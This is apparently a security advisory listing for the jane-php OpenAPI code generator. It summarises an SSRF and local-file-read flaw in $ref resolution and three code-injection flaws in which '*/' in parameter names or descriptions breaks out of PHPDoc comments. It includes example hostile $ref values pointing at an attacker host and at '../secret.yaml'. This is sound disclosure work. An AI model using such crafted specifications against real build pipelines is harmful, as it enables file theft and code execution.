Advisories for Composer/Jane-Php/Open-Api-3 package

2026

Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)

jane-php resolves external $ref targets at code-generation time via file_get_contents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' -> SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' -> LFI; $ref: '../secret.yaml' -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.

Jane: Instantiation RCE via query parameter name -> raw PHPDoc */ breakout (jane-php/open-api-3)

jane-php (open-api-3) builds PHP via nikic/php-parser (AST), so string literals are escaped – but PHPDoc comment text is emitted RAW. The generated Client/Endpoint method docblocks embed the query parameter name verbatim in a @param array{ "<name>"?: … } block. A / in the query name closes the /* … */ docblock early and lands in class-body position; because the name is a raw string key (not identifier-mangled), the */ and …

Jane: Instantiation RCE via parameter description -> raw PHPDoc */ breakout (jane-php/open-api-3)

jane-php (open-api-3) builds PHP via nikic/php-parser (AST), so string literals are escaped – but PHPDoc comment text is emitted RAW. The generated Client/Endpoint method docblocks embed the parameter description verbatim in a @param array{ "<name>"?: … } block. A / in the parameter description closes the /* … */ docblock early and lands in class-body position; because the name is a raw string key (not identifier-mangled), the */ and following …

Jane: Instantiation RCE via header parameter name -> raw PHPDoc */ breakout (jane-php/open-api-3)

jane-php (open-api-3) builds PHP via nikic/php-parser (AST), so string literals are escaped – but PHPDoc comment text is emitted RAW. The generated Client/Endpoint method docblocks embed the header parameter name verbatim in a @param array{ "<name>"?: … } block. A / in the header name closes the /* … */ docblock early and lands in class-body position; because the name is a raw string key (not identifier-mangled), the */ and …